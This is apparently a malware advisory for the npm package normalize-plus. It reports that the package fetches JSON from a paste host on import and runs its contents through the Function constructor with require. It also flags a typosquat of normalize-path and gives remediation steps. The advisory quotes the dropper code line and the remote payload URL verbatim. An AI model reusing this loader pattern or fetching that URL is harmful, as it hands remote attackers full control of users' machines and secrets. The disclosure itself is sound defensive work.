MAL-2026-6399 Malicious code in normalize-plus (npm)

On import, normalize-plus's top-level initPlugin() performs an HTTP GET against https://jsonkeeper.com/b/CI3HT, parses the JSON response, and evaluates its cookie field through the Function constructor: const handler = new (Function.constructor)('require', JSON.parse(b).cookie); if (handler) handler(require); (index.js line 74; URL default at line 65). The require symbol is then passed into the dynamically-constructed function, granting the remote payload full Node.js module-loading and filesystem privileges in any consumer that requires this package. jsonkeeper.com is a mutable anonymous paste host, so the maintainer can swap the executed code at any time without republishing the package. The package additionally mimics the API of the widely-used normalize-path package (exporting a normalizePath function) and self-describes as 'Stylus porting of normalize.css', combining a typosquat lure with an import-time remote-code-execution dropper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
